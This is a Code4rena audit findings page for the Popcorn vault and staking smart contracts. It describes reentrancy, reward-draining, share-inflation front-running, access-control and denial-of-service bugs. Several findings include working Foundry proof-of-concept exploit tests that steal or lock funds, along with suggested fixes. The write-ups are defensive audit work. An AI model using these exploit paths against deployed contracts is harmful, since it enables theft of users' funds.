Platform: Code4rena
Start Date: 31/01/2023
Pot Size: $90,500 USDC
Total HM: 47
Participants: 169
Period: 7 days
Judge: LSDan
Total Solo HM: 9
Id: 211
League: ETH
Rank: 2/169
Findings: 8
Award: $6,380.37
🌟 Selected for report: 4
🚀 Solo Findings: 1
🌟 Selected for report: 0xdeadbeef0x
Also found by: 0Kage, 0xNazgul, 0xRobocop, Aymen0909, KIntern_NA, Kenshin, KingNFT, Krace, Kumpa, SadBase, aashar, apvlki, btk, cccz, critical-or-high, eccentricexit, fs0c, gjaldon, hansfriese, immeas, mert_eren, mgf15, mrpathfindr, orion, peanuts, rvi0x, rvierdiiev, supernova, ulqiorra, waldenyan20, y1cunhui
4.6115 USDC - $4.61
https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L178-L186
If an ERC-777 token is used as reward token for any Staking contract in the system, that reward token can be completely drained from the Staking contract.
Re-entrancy can be done in the MultiRewardStaking.claimRewards
function because of the following code:
if (escrowInfo.escrowPercentage > 0) { _lockToken(user, _rewardTokens[i], rewardAmount, escrowInfo); emit RewardsClaimed(user, _rewardTokens[i], rewardAmount, true); } else { _rewardTokens[i].transfer(user, rewardAmount); emit RewardsClaimed(user, _rewardTokens[i], rewardAmount, false); } accruedRewards[user][_rewardTokens[i]] = 0;
In the above code, the accounting for the user's accrued rewards for a given token is done after the transfer. This does not adhere to the checks-effects-interactions principle that prevents re-entrancies. Also, the function does not use the nonReentrant
modifier.
Because of these reasons, the attacker can then call claimRewards
for an ERC-777 reward token and can keep calling/re-entering claimRewards
until all of the reward tokens in the Staking contract are sent to him. Like all re-entrancies, it's done within one transaction.
VSCode
Add nonReentrant modifier to the function or update the accounting records before transferring out the tokens.
#0 - c4-judge
2023-02-16T07:40:16Z
dmvt marked the issue as duplicate of #54
#1 - c4-sponsor
2023-02-18T12:11:16Z
RedVeil marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-23T00:47:42Z
dmvt marked the issue as partial-50
#3 - c4-judge
2023-03-01T00:40:13Z
dmvt marked the issue as satisfactory
🌟 Selected for report: gjaldon
Also found by: Ch_301, KIntern_NA, mookimgo
916.4102 USDC - $916.41
https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L106-L110 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultRegistry.sol#L44-L53
Anyone can deploy a Vault with a malicious Staking contract attached. If the Staking contract already exists, we can just pass its address to deployVault
and no checks will be applied to see whether the Staking contract matches valid Staking templates in the Template Registry.
An attacker can create malicious Staking contract that acts like a regular ERC-4626 vault but with a backdoor function that allows them to withdraw all the deposited funds in the contract. Users may assume the Staking contract is valid and safe and will deposit their funds into it. This will lead to loss of funds for users and huge loss of credibility for the protocol.
The below PoC shows the behavior described above where any Staking contract can be deployed with a Vault. The below lines will need to be added to the VaultController.t.sol
file.
function test__deploy_malicious_staking_contract() public { addTemplate("Adapter", templateId, adapterImpl, true, true); addTemplate("Strategy", "MockStrategy", strategyImpl, false, true); addTemplate("Vault", "V1", vaultImpl, true, true); // Pretend this malicious Staking contract allows attacker to withdraw // all the funds from it while allowing users to use it like a normal Staking contract MultiRewardStaking maliciousStaking = new MultiRewardStaking(); vm.startPrank(alice); address vault = controller.deployVault( VaultInitParams({ asset: iAsset, adapter: IERC4626(address(0)), fees: VaultFees({ deposit: 100, withdrawal: 200, management: 300, performance: 400 }), feeRecipient: feeRecipient, owner: address(this) }), DeploymentArgs({ id: templateId, data: abi.encode(uint256(100)) }), DeploymentArgs({ id: 0, data: "" }), address(maliciousStaking), "", VaultMetadata({ vault: address(0), staking: address(maliciousStaking), creator: alice, metadataCID: metadataCid, swapTokenAddresses: swapTokenAddresses, swapAddress: address(0x5555), exchange: uint256(1) }), 0 ); vm.stopPrank(); assertEq(vaultRegistry.getVault(vault).staking, address(maliciousStaking)); }
The test can be run with the following command: forge test --no-match-contract 'Abstract' --match-test test__deploy_malicious_staking_contract
VSCode, Foundry
deployVault
is a Staking contract that was deployed by the system and uses an approved template:
https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L106-L110#0 - c4-judge
2023-02-16T06:02:01Z
dmvt marked the issue as primary issue
#1 - c4-sponsor
2023-02-17T13:28:47Z
RedVeil marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-23T21:35:36Z
dmvt marked the issue as selected for report
🌟 Selected for report: gjaldon
5028.3136 USDC - $5,028.31
https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L108-L110 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L483-L503 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L296-L315 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L351-L360 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L377-L378 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L390-L399
Attacker can steal 99% of the balance of a reward token of any Staking contract in the blockchain. An attacker can do this by modifying the reward speed of the target reward token.
So an attacker gets access to changeRewardSpeed
, he will need to deploy a vault using the target Staking contract as its Staking contract. Since the Staking contract is now attached to the attacker's created vault, he can now successfully changeRewardSpeed
. Now with changeRewardSpeed
, attacker can set the rewardSpeed
to any absurdly large amount that allows them to drain 99% of the balance (dust usually remains due to rounding issues) after some seconds (12 seconds in the PoC.)
This attack is made possible by the following issues:
changeStakingRewardSpeeds
to modify the rewardSpeeds of any reward tokens in the target Staking contract - https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L495-L501rewardsPerSecond
value in changeRewardSpeed
so attacker can set any amount they want - https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L299-L314changeRewardSpeed
also uses _calcRewardsEnd
to get the new rewardsEndTimestamp
but that calculation is faulty and the new timestamp is always longer than it's supposed to be leading to people being able to claim more rewards than they should get - https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L351-L360Below is the PoC using a Foundry test:
function test__steal_rewards_from_any_staking_contract() public { addTemplate("Adapter", templateId, adapterImpl, true, true); addTemplate("Strategy", "MockStrategy", strategyImpl, false, true); addTemplate("Vault", "V1", vaultImpl, true, true); // 1. deploy regular legit vault owned by this address vault = deployVault(); address staking = vaultRegistry.getVault(vault).staking; rewardToken.mint(staking, 1_000_000 ether); vm.startPrank(bob); asset.mint(bob, 10000 ether); asset.approve(vault, 10000 ether); IVault(vault).deposit(10000 ether, bob); IVault(vault).approve(staking, 10000 ether); IMultiRewardStaking(staking).deposit(9900 ether, bob); vm.stopPrank(); vm.startPrank(alice); // 2. deploy attacker-owned vault using the same Staking contract as legit vault // alice is the attacker address attackerVault = controller.deployVault( VaultInitParams({ asset: iAsset, adapter: IERC4626(address(0)), fees: VaultFees({ deposit: 100, withdrawal: 200, management: 300, performance: 400 }), feeRecipient: feeRecipient, owner: address(this) }), DeploymentArgs({ id: templateId, data: abi.encode(uint256(100)) }), DeploymentArgs({ id: 0, data: "" }), staking, "", VaultMetadata({ vault: address(0), staking: staking, creator: alice, metadataCID: metadataCid, swapTokenAddresses: swapTokenAddresses, swapAddress: address(0x5555), exchange: uint256(1) }), 0 ); asset.mint(alice, 10 ether); asset.approve(vault, 10 ether); IVault(vault).deposit(10 ether, alice); IVault(vault).approve(staking, 10 ether); IMultiRewardStaking(staking).deposit(1 ether, alice); address[] memory targets = new address[](1); targets[0] = attackerVault; IERC20[] memory rewardTokens = new IERC20[](1); rewardTokens[0] = iRewardToken; uint160[] memory rewardsSpeeds = new uint160[](1); rewardsSpeeds[0] = 990_099_990 ether; controller.changeStakingRewardsSpeeds(targets, rewardTokens, rewardsSpeeds); assertGt(rewardToken.balanceOf(staking), 1_000_000 ether); vm.warp(block.timestamp + 12); MultiRewardStaking(staking).claimRewards(alice, rewardTokens); assertGt(rewardToken.balanceOf(alice), 999_999 ether); assertLt(1 ether, rewardToken.balanceOf(staking)); vm.stopPrank(); }
The PoC shows that the attacker, Alice, can drain any reward token of a Staking contract deployed by a different vault owner. In this test case, Alice does the attack described above stealing a total 999,999 worth of reward tokens (99% of reward tokens owned by the Staking contract.) Note that the attacker can tweak the amount they stake in the contract, the reward speed they'll use, and the seconds to wait before, before claiming rewards. All of those things have an effect on the cost of the attack and how much can be drained.
The test can be run with:
forge test --no-match-contract 'Abstract' --match-test test__steal_rewards_from_any_staking_contract
VSCode, Foundry
rewardsPerSecond
can be when changing rewardSpeed. Maybe make it so that it takes a minimum of 1 month (or some other configurable period) for rewards to be distributed. - https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L299-L314#0 - c4-sponsor
2023-02-17T13:06:03Z
RedVeil marked the issue as sponsor confirmed
#1 - c4-judge
2023-02-23T21:32:34Z
dmvt marked the issue as selected for report
🌟 Selected for report: 0xNineDec
Also found by: 0xBeirao, 0xNazgul, 0xRajkumar, Blockian, Breeje, CRYP70, Josiah, KIntern_NA, MyFDsYours, Qeew, RaymondFam, Ruhum, UdarTeam, chaduke, giovannidisiena, gjaldon, immeas, koxuan, nadin, peanuts, rbserver, rvi0x, savi0ur
14.2839 USDC - $14.28
https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L147-L151 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L295-L300 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L285-L287
An attacker can front-run the first depositor to the Vault and steal 25% of the depositor's funds. This is possible by manipulating the exchange rate of the shares by transferring tokens directly to the Adapter contract.
The main issue is in how convertToShares
works. If there's no existing supply of Vault tokens, the conversion rate of asset:share is 1:1. The attacker can increase the asset:share ratio by transferring asset tokens directly to the Adapter contract and depositing only 1 unit of asset into the Vault contract. This makes 1 share more expensive.
So if the first depositor deposits 10,000 ether, the attacker can front-run the deposit with a transaction that deposits 1 unit into the Vault and transfers 5,000 ether of assets directly to the Adapter contract. This will lead to the following:
function convertToShares(uint256 assets) public view returns (uint256) { uint256 supply = totalSupply(); // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? assets : assets.mulDiv(supply, totalAssets(), Math.Rounding.Down); }
Since supply is 1 because the Attacker has 1 share, the exchange rate becomes (10,000 ether * 1) / 5,000.000000000000000001 ether
rounded down. The result is ~1.99 but since it is rounded down, it becomes 1. So the depositor gets 1 share for 10,000 ether of assets.
Note that this can happen for any amount deposited as long as attacker transfers half that amount in assets directly to the Adapter contract.
Below is a PoC test case that simulates the attack. Add the test case to the test file Vault.t.sol
and run it with the command forge test --no-match-contract 'Abstract' --match-test test__inflation_attack
:
function test__inflation_attack() public { address vaultAddress = address(new Vault()); Vault newVault = Vault(vaultAddress); newVault.initialize( IERC20(address(asset)), IERC4626(address(adapter)), VaultFees({ deposit: 0, withdrawal: 0, management: 0, performance: 0 }), feeRecipient, bob ); asset.mint(alice, 10000 ether); asset.mint(bob, 10000 ether); // Alice frontruns Bob's deposit of 10,000 ether by depositing 1 asset and then // transferring 5000 ether of token assets directly to the Adapter contract. vm.startPrank(alice); asset.approve(vaultAddress, 10000 ether); newVault.deposit(1); asset.transfer(address(adapter), 5000 ether); vm.stopPrank(); vm.startPrank(bob); asset.approve(vaultAddress, 10000 ether); newVault.deposit(10000 ether); newVault.redeem(newVault.balanceOf(bob)); vm.stopPrank(); // After Bob's deposit, Alice can now withdraw 2,500 ether more of assets from // the Vault contract. She just stole 2,500 ether from Bob's deposit. :( vm.startPrank(alice); newVault.redeem(newVault.balanceOf(alice)); vm.stopPrank(); assertEq(asset.balanceOf(alice), 12500 ether); assertGt(asset.balanceOf(alice), asset.balanceOf(bob)); }
In the test case, Alice is the attacker and steals Bob's 2,500 ether.
VSCode, Foundry
Mint some funds (10**3) to address(0) when initializing the Vault. That way, totalSupply
will never be 0
and it will be prohibitively more expensive to inflate the exchange rates. This is somewhat similar to what Uniswap has done:
https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L119-L124
#0 - c4-judge
2023-02-16T03:30:26Z
dmvt marked the issue as duplicate of #15
#1 - c4-sponsor
2023-02-18T11:54:41Z
RedVeil marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-23T00:11:23Z
dmvt marked the issue as satisfactory
122.6059 USDC - $122.61
https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L669 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L448 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L608 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L621 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L634 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L647
Neither creator nor owner will be able to run management functions on some of their vaults. It effectively makes the feature where owner can be different from the creator of a vault unusable. This impacts protocol's intended function of allowing creators to manage their own vaults.
Add the following test case to VaultController.t.sol
:
function test__inaccessible_vaults() public { addTemplate("Adapter", templateId, adapterImpl, true, true); addTemplate("Strategy", "MockStrategy", strategyImpl, false, true); addTemplate("Vault", "V1", vaultImpl, true, true); // // 1. deploy regular legit vault owned by this address vault = deployVault(); address staking = vaultRegistry.getVault(vault).staking; // 2. deploy attacker-owned vault using the same Staking contract as legit vault vm.startPrank(alice); address vaultClone = controller.deployVault( VaultInitParams({ asset: iAsset, adapter: IERC4626(address(0)), fees: VaultFees({ deposit: 100, withdrawal: 200, management: 300, performance: 400 }), feeRecipient: feeRecipient, owner: address(this) }), DeploymentArgs({ id: templateId, data: abi.encode(uint256(100)) }), DeploymentArgs({ id: 0, data: "" }), staking, "", // abi.encode(address(rewardToken), 0, 0, true, 10000000, 2 days, 1 days), VaultMetadata({ vault: address(0), staking: staking, creator: alice, metadataCID: metadataCid, swapTokenAddresses: swapTokenAddresses, swapAddress: address(0x5555), exchange: uint256(1) }), 0 ); bytes[] memory rewardTokenData = new bytes[](1); rewardTokenData[0] = abi.encode( address(rewardToken), 0.1 ether, 1 ether, true, 10000000, 2 days, 1 days ); address[] memory vaults = new address[](1); vaults[0] = vaultClone; vm.expectRevert(); controller.addStakingRewardsTokens(vaults, rewardTokenData); vm.expectRevert(); controller.pauseAdapters(vaults); vm.expectRevert(); controller.unpauseAdapters(vaults); vm.expectRevert(); controller.pauseVaults(vaults); vm.expectRevert(); controller.unpauseVaults(vaults); vm.stopPrank(); vm.expectRevert(); controller.addStakingRewardsTokens(vaults, rewardTokenData); vm.expectRevert(); controller.pauseAdapters(vaults); vm.expectRevert(); controller.unpauseAdapters(vaults); vm.expectRevert(); controller.pauseVaults(vaults); vm.expectRevert(); controller.unpauseVaults(vaults); }
Run forge test --no-match-contract 'Abstract' --match-test test__inaccessible_vaults
in the command line and the tests will pass. The tests are not supposed to pass since since all those functions are not supposed to revert when called by creator or owner.
VSCode, Foundry
Change the line https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L669 to the following:
if (msg.sender != metadata.creator && msg.sender != owner) revert NotSubmitterNorOwner(msg.sender);
#0 - c4-judge
2023-02-16T07:24:09Z
dmvt marked the issue as duplicate of #45
#1 - c4-sponsor
2023-02-18T12:08:19Z
RedVeil marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-23T00:19:50Z
dmvt marked the issue as satisfactory
#3 - c4-judge
2023-02-23T01:08:25Z
dmvt changed the severity to 3 (High Risk)
🌟 Selected for report: gjaldon
Also found by: 0x52, Aymen0909, KIntern_NA, hansfriese, rvierdiiev
148.4584 USDC - $148.46
https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L443-L471 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L265-L270 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L178-L179 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L201 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardEscrow.sol#L97-L98
When a Vault owner/create adds a reward token to the Staking contract with faulty escrow config parameters, the reward tokens sent to the Staking contract will forever be locked up. This can happen since there are no validity checks on the values of the Escrow config for the reward tokens when adding a reward token to the Staking contract via the VaultController.
Below are the steps to reproduce the issue:
Vault Creator/Owner adds a reward token to the Staking contract of a vault they own/created, passing Escrow configuration parameters of useEscrow
= true, escrowDuration
= 0 and escrowPercentage
= 1. This passes without issue since there are no validity checks for the Escrow config in the following lines:
https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L443-L471
https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L265-L271
This issue not noticeable until someone attempts to claimRewards
for that misconfigured rewardToken from the Staking contract. This will always revert for all users trying to claim rewards for the affected rewardToken since it always attempts to lock some funds in escrow:
https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L178-L180
And one of these checks in Escrow.lock
will always fail since escrowDuration
was set to 0 and escrowPercentage
is so low that rewards must be so high for the escrow amount to not be 0: https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardEscrow.sol#L97-L98
Reward tokens for that misconfigured rewardToken contract will now forever be locked in the Staking contract leading to loss of funds vault creator/owner.
VSCode
escrowDuration
is greater than 0 and that escrowPercentage
is high enough that it won't always trigger reverts when users claim rewards.claimRewards
so users will not be able to claim rewards. Maybe check if there are escrowed amount is greather than 0 and only call Escrow.lock
if it is. That way, users with small rewards will always be able to claim funds. Note that only users will larger rewards at time of claiming will have funds escrowed for smaller escrow percentages.#0 - c4-sponsor
2023-02-17T13:54:28Z
RedVeil marked the issue as sponsor confirmed
#1 - c4-judge
2023-02-23T21:04:11Z
dmvt changed the severity to QA (Quality Assurance)
#2 - c4-judge
2023-02-23T22:15:18Z
This previously downgraded issue has been upgraded by captainmangoC4
#3 - c4-judge
2023-02-23T22:15:18Z
This previously downgraded issue has been upgraded by captainmangoC4
#4 - c4-judge
2023-02-23T22:33:09Z
dmvt marked the issue as satisfactory
#5 - c4-judge
2023-02-23T23:23:41Z
captainmangoC4 marked the issue as primary issue
#6 - c4-judge
2023-02-25T15:57:19Z
dmvt marked the issue as selected for report
55.5006 USDC - $55.50
https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L307-L314 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L356-L357 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L390-L399 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L377
There is a flaw in the calculation of the new rewardsEndTimestamp. When changingRewardSpeed to twice as fast, instead of an earlier rewardsEndTimestamp, the system updates to a later rewardsEndTimestamp. Because of this, accrueRewards will keep accruing rewards even beyond the remaining balance of rewards.
This leads to either more rewards claimed by some users at the expense of others until no more reward tokens remain. This means Alice can end up with twice the amount of reward tokens she's supposed to get while Bob gets 0. Also, if accrued rewards are higher than remaining balance, this can lock up some of the rewards in the Staking contract.
Below are the steps to reproduce the issue:
VaultController.changeStakingRewardsSpeeds
to increase the reward speed for a given reward token before the reward token's end period.Changing the reward speed changes the rewardToken parameters to the following: rewardAmount - 10 ether rewardSpeed - 0.2 ether per second rewardsEndTimestamp - 151 seconds
Note that the rewardsEndTimestamp is later even though rewardSpeed is faster.
Now, every time accrueRewards
is called, it will accrue rewards up until the rewardsEndTimestamp. That means that a total number of 0.2 ether * 151 seconds
(rewardSpeed * rewardsEndPeriod), will be allotted as rewards to users. That would be a total of 30.2 ether
which is way more than the amount of rewardTokens available.
The first users to claim rewards while the are reward tokens remaining will receive more tokens than they are supposed to while the remaining users will not be able to claim any rewards.
Below is a test case to show the bug:
function test__changeRewardSpeed_Bug() public { _addRewardToken(rewardToken1); stakingToken.mint(alice, 1 ether); stakingToken.mint(bob, 1 ether); vm.prank(alice); stakingToken.approve(address(staking), 1 ether); vm.prank(bob); stakingToken.approve(address(staking), 1 ether); vm.prank(alice); staking.deposit(1 ether); vm.prank(bob); staking.deposit(1 ether); (, , uint32 oldRewardsEndTimestamp, , ) = staking.rewardInfos( iRewardToken1 ); staking.changeRewardSpeed(iRewardToken1, 0.2 ether); (, , uint32 newRewardsEndTimestamp, , ) = staking.rewardInfos( iRewardToken1 ); console.log( "Even though we increase the reward speed to 2x faster, the newRewardsEndTimestamp becomes later instead of earlier" ); console.log("oldRewardsEndTimestamp: ", oldRewardsEndTimestamp); console.log("newRewardsEndTimestamp: ", newRewardsEndTimestamp); // We advance time to the oldRewardsEndTimestamp vm.warp(block.timestamp + 100); IERC20[] memory rewardTokens = new IERC20[](1); rewardTokens[0] = iRewardToken1; // Claiming the rewards 1 second later will mean the rewards will get locked up :( staking.claimRewards(alice, rewardTokens); // Alice ends up with all of the reward tokens! assertEq(rewardToken1.balanceOf(alice), 10 ether); vm.expectRevert("ERC20: transfer amount exceeds balance"); // Bob gets 0 reward tokens even though he staked at the same time as Alice staking.claimRewards(bob, rewardTokens); }
The test will need to be added to the test file MultiRewardStaking.t.sol
and it can be run with: forge test --no-match-contract 'Abstract' --match-test test__changeRewardSpeed_Bug
VSCode, Foundry
Change _calcRewardsEnd
logic at https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L351-L360. It should compute the new rewardsEndTimestamp
based on ((remainingRewardBalance - accruedRewardsAtOldRewardSpeed) / rewardsPerSecond) + block.timestamp
.
#0 - c4-judge
2023-02-16T03:56:02Z
dmvt marked the issue as duplicate of #156
#1 - c4-sponsor
2023-02-18T11:58:55Z
RedVeil marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-23T16:05:16Z
dmvt changed the severity to QA (Quality Assurance)
#3 - Simon-Busch
2023-02-23T16:14:46Z
Revert back to M as requested by @dmvt
#4 - c4-judge
2023-02-23T22:26:54Z
dmvt marked the issue as satisfactory
🌟 Selected for report: gjaldon
Also found by: 0xMirce, Kenshin, Kumpa, chaduke, jasonxiale, joestakey, rvierdiiev
90.1885 USDC - $90.19
https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L108-L110 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L448 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L112 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L127 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L141 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L170 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L373
This allows attackers to disable any Staking contract deployed via the system, essentially locking up all funds within the Staking contract. It would lead to a significant loss of funds for all users and the protocol who have staked their Vault tokens. All Staking contracts can be disabled by an attacker. The attack is possible once vault deployments become permissionless which is the primary goal of the Popcorn protocol.
The attack is possible because of the following behaviors:
accrueRewards
modifier.accrueRewards
iterates through all rewardTokens using a uint8 index variable - https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L373First, verifyCreatorOrOwner
needs to be fixed so that it allows either creator or owner to run functions it protects like it's meant to with the below code:
if (msg.sender != metadata.creator && msg.sender != owner) revert NotSubmitterNorOwner(msg.sender);
Once this fix is implemented and the protocol enables permissionless vault deployment, the following attack path opens up:
accrueRewards
modifier that loops over all the rewardTokens
state variable. The overflow is caused since the i
variable used in the for loop inside accrueRewards uses uint8 and it keeps looping as long as i < rewardTokens.length
. That means if rewardTokens
has a length of 256, it will cause i
uint8 variable to overflow.The steps for described attack can be simulated with the below test that will need to be added to the VaultController.t.sol
test file:
function test__disable_any_staking_contract() public { addTemplate("Adapter", templateId, adapterImpl, true, true); addTemplate("Strategy", "MockStrategy", strategyImpl, false, true); addTemplate("Vault", "V1", vaultImpl, true, true); // 1. deploy regular legit vault owned by this address vault = deployVault(); address staking = vaultRegistry.getVault(vault).staking; vm.startPrank(alice); // 2. deploy attacker-owned vault using the same Staking contract as legit vault // alice is the attacker address attackerVault = controller.deployVault( VaultInitParams({ asset: iAsset, adapter: IERC4626(address(0)), fees: VaultFees({ deposit: 100, withdrawal: 200, management: 300, performance: 400 }), feeRecipient: feeRecipient, owner: address(this) }), DeploymentArgs({ id: templateId, data: abi.encode(uint256(100)) }), DeploymentArgs({ id: 0, data: "" }), staking, "", VaultMetadata({ vault: address(0), staking: staking, creator: alice, metadataCID: metadataCid, swapTokenAddresses: swapTokenAddresses, swapAddress: address(0x5555), exchange: uint256(1) }), 0 ); // 3. Attacker (Alice) adds 255 reward tokens to the Staking contract bytes[] memory rewardsData = new bytes[](255); address[] memory targets = new address[](255); for (uint256 i = 0; i < 255; i++) { address _rewardToken = address( new MockERC20("Reward Token", string(abi.encodePacked(i)), 18) ); targets[i] = attackerVault; rewardsData[i] = abi.encode( _rewardToken, 0.1 ether, 0, true, 10000000, 2 days, 1 days ); } controller.addStakingRewardsTokens(targets, rewardsData); asset.mint(alice, 100 ether); asset.approve(vault, 100 ether); IVault(vault).deposit(100 ether, alice); IVault(vault).approve(staking, 100 ether); // 4. This Staking.deposit call or any other transaction will revert due to arithmetic overflow // essentially locking all funds in the Staking contract. IMultiRewardStaking(staking).deposit(90 ether, alice); vm.stopPrank(); }
Please be reminded to fix verifyCreatorOwner
first before running the above test. Running the test above will cause the call to Staking.deposit
to revert with an Arithmetic over/underflow
error which shows that the Staking contract has successfully be DOS'd. The following is the command for running the test:
forge test --no-match-contract 'Abstract' --match-test test__disable_any_staking_contract
VSCode, Foundry
#0 - c4-judge
2023-02-16T03:45:41Z
dmvt marked the issue as duplicate of #151
#1 - c4-sponsor
2023-02-18T11:55:25Z
RedVeil marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-23T11:37:02Z
dmvt changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-02-23T21:27:44Z
dmvt marked the issue as selected for report